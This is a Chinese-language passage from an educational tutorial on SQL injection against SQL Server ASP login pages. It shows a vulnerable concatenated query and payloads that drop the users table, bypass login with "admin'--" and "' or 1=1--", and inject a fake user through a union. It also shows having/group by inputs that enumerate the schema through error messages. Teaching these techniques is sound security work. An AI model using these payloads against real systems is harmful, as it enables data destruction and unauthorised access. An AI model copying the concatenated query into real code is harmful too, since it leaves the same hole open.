Sql-Server应用程序的高级Sql注入(3)
这里讨论的是'process_login.asp'中的创建'query string'的部分:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
如果用户指定了下面这样的数据:
Username: '; drop table users--
Password:
'users'表会被删除,所有用户都不能登陆。'--'是Transact-SQL(交互式SQL)的单行注释符,';'标志着一个查询的结束另一个查询的开始。用户名最后的'--'用来使这个特殊的查询无错误结束。
攻击者只要知道用户名,就可以通过以下的输入以任何用户的身份登陆:
Username: admin'--
攻击者可以通过下面的输入以用户表里的第一个用户来登陆:
Username: ' or 1=1--
...更有甚者,攻击者通过以下的输入可以以任意虚构的用户登陆:
Username: ' union select 1, 'fictional_user', 'somoe_password', 1--
因为程序相信攻击者指定的常量是数据库返回的记录集的一部分。
[通过错误信息获取信息]
这个技术是David Litchfield在一次渗透入侵测试中首先发现的,后来david写了篇关于这个技术的文章,很多作者都参考过这篇作品。这里我们讨论“错误消息”技术潜在的机制,使读者可以充分理解它并且能灵活应用。
为了操作数据库里的数据,攻击者要确定某个数据库的结构。例如:我们的"user"表是用下面的语句建立的:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
并且插入了下面的用户:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
我们假设攻击者要为自己插入一个用户,如果不知道表的结构的话,他不可能成功。即使他运气好,'priv'字段的重要性还不清楚。攻击者可能插入'1',给自己在程序里添加了一个低权限的用户,而他的目标是管理员的权限。
对于攻击者来说幸运的是:如果程序返回错误(asp默认如此),攻击者可以猜测整个数据库的结构,读取ASP程序连接到SQL-Server的帐号权限内可以读取的任何值。
(下面给出的使用上面提供的示例数据库和asp脚本来说明这些技术怎样实现的)
首先,攻击者要确定查询的表名和字段名。要做到这点,攻击者可以使用'select'语句的'having'子句:
username: ' having 1=1 --
这会引起下面的错误(译者注:having字句必须和GROUP BY或者聚合函数一起配合使用,否则出错):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
所以攻击者就知道了表名和第一列的列名,他们可以通过给每列加上'group by'子句继续得到其他列名,如下:
username: ' group by users.id having 1=1 --
(结果产生这样的错误)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最后攻击者得到了下面的'username':
' group by users.id, users.username, users.password, users.privs having 1=1--
这句没有错误,相当于:
select * from users where username = ''
所以攻击者知道了查询只是关于'users'表的,并且顺序使用了列'id,username,password,rpivs'。